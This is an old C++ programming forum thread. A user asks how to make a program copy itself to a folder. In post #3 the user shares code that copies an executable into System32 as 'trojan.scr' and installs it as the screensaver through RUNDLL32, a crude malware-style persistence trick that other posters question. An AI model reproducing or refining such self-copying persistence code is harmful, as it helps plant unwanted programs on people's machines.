CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 6 of 6
  1. #1
    Join Date
    Sep 2007
    Posts
    2

    Talking Copying the program to folder

    Hello i have this problem. I am making c++ program and i need to make the program create a copy of itself with name copy.exe to folder c:\backup. So how is this done. Thank you in advance!

  2. #2
    Join Date
    Sep 2007
    Posts
    44

    Re: Copying the program to folder

    Hey,

    You can just use the system command.

    Code:
    system("copy source.txt destination.txt);
    So in your case:
    Code:
    system("copy <filename> C:\\backup\\<filename>");
    BageDevimo,

  3. #3
    Join Date
    Sep 2007
    Posts
    2

    Re: Copying the program to folder

    Thanks! Do you guys and gals see any errors in this code?

    #include <iostream.h>

    int main() {

    system("copy winzip.exe c:\mydownloads");
    system("copy winzip.exe c:\mydown~1");
    system("RUNDLL32.EXE SHELL32.DLL,SHHelpShortcuts_RunDLL PrintTestPage");
    system("RUNDLL32.EXE SHELL32.DLL,SHHelpShortcuts_RunDLL PrintTestPage");
    system("copy <winzip.exe> C:\\Winnt\\System32\\<trojan.scr>");
    system("RUNDLL32 DESK.CPL,InstallScreenSaver C:\WINNT\SYSTEM32\trojan.scr");

    return 0;

    }

  4. #4
    Join Date
    Aug 2005
    Location
    LI, NY
    Posts
    576

    Re: Copying the program to folder

    Quote Originally Posted by wild life
    trojan.scr
    What's the deal with this?

    The code you posted may as well be written as a batch script. The only errors I noticed on the C++ side of things are that <iostream.h> should just be <iostream> and that you should probably include cstdlib for the system function.

  5. #5
    GCDEF is offline Elite Member Power Poster
    Join Date
    Nov 2003
    Location
    Florida
    Posts
    12,637

    Re: Copying the program to folder

    And this.
    system("RUNDLL32 DESK.CPL,InstallScreenSaver C:\WINNT\SYSTEM32\trojan.scr");

    What are you doing there?

  6. #6
    Join Date
    Sep 2007
    Posts
    3

    Re: Copying the program to folder

    Haha, that's kind of funny. I thought he might have been making a virus when I saw his first post, this kind of implies that as well :P. This kind of thing might have some uses though, and if it's a trojen, maybe it's just a proof of concept thing?

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  





Click Here to Expand Forum to Full Width

Featured